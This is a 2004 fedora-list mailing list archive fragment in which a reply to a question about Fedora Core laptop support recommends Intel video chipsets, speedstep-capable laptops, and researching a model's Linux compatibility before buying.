An HTML attachment was scrubbed... URL: -------------- next part -------------- -- fedora-list mailing list fedora-list at redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list From arjanv at redhat.com Sun Oct 31 18:47:32 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Sun, 31 Oct 2004 19:47:32 +0100 Subject: How about the support of FC for laptop? In-Reply-To: <20041031171602.55949.qmail@web51505.mail.yahoo.com> References: <20041031171602.55949.qmail@web51505.mail.yahoo.com> Message-ID: <1099248451.14342.11.camel@laptop.fenrus.org> On Sun, 2004-10-31 at 09:16 -0800, Park Lee wrote: > Hi, > Would you please tell me How about the support of Fedora Core for > notebook PC(aka laptop)? and what kinds of notebook PC can be > supported by Fedora Core (such as FC2, FC3) ? if you are about to buy a notebook... the key issue in my experience is the video chipset. In my experience the intel video based laptops work well, while nvidia/ati are more cumbersome (even with the binary drivers), however the gaming performance will be lower than with nvidia/ati. Other than that.... make sure you buy a laptop with speedstep or similar, the battery life and heat production matter a lot. oh and google before buying for the model and linux, quite often others wrote about their experiences (and once you get yours, write your own page :-) ______________________________________________________________________ This email has been scanned by the MessageLabs Email Security System. For more information please visit http://www.messagelabs.com/email ______________________________________________________________________ -------------- next part -------------- A non-text attachment was scrubbed... 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